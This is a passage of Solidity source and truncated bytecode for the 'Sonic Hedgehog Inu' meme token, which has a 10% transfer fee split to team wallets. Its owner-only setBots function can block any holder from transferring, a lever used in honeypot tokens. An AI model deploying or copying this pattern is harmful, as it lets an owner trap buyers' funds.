function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SonicInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1* 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Sonic Hedgehog Inu";
string private constant _symbol = 'SONIC️';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280601281526020017f536f6e6963204865646765686f6720496e750000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f534f4e4943efb88f000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405